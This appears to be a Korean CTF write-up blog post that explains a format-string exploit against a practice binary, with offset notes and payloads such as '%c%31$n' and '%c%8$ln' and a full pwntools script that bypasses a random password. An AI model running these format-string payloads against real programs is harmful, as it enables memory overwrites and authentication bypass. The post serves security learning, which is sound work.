728x90
반응형
실행
생략..
풀이과정
%6$p%7$p 했을 때와
tele -l 40 를 대조해서 보면
여기서부터 6번째다.
랜덤 값은 0xc8번쨰에 있으니
31번쨰다.
여기 값을 바꿔서 랜덤 비밀번호를 무효화 시킨다.
%c%31$n
이렇게 하면 wyv3rn 이 아직 있다고 가라고 하는데
name 입력을 하면 0x10 번째에 생긴다.
처음에 %p 해서 스택 주소 알아낸 다음에
0x20 만큼 더해서 dsfsb 해서 wyv3rn을 바꿔버리면 될 거 같다. 이 wyv3rn 은 한글자라도 있으면 안된다.
그리고 name 부붕네서 wyv3rn 을 다시 써서 kind list 에 넣어줘야 한다.
from pwn import *
p = process("./chall")
context.log_level = 'debug'
sla = p.sendlineafter
sla(b">> ", b"2")
sla(b"Password : ", b"%p")
stack_addr = int(p.recvn(14),16)
print(hex(stack_addr))
sla(b">> ", b"2")
sla(b"Password : ", b"%c%31$n")
sla(b">> ", b"2")
sla(b"Password : ", b"\x01")
sla(b"Name : ", b"wyv3rn")
sla(b">> ", b"2")
sla(b"Password : ", b"\x01")
sla(b"Name : ", p64((stack_addr + 0x20)))
pause()
sla(b">> ", b"2")
sla(b"Password : ", b"%c%8$ln")
p.interactive()
이 글은 옵시디언을 이용해서 작성되었습니다.
728x90
반응형
'TOOR' 카테고리의 다른 글
[TOOR] 12.4. srop write up (0) | 2023.10.05 |
---|---|
[TOOR] 11.3. Holymoly write up (0) | 2023.10.04 |
[TOOR] 21. __rtld_global (0) | 2023.10.02 |
[TOOR] 17. Race Condition (0) | 2023.10.02 |
[TOOR] 16.1 OOB (Out of Bound) (0) | 2023.10.02 |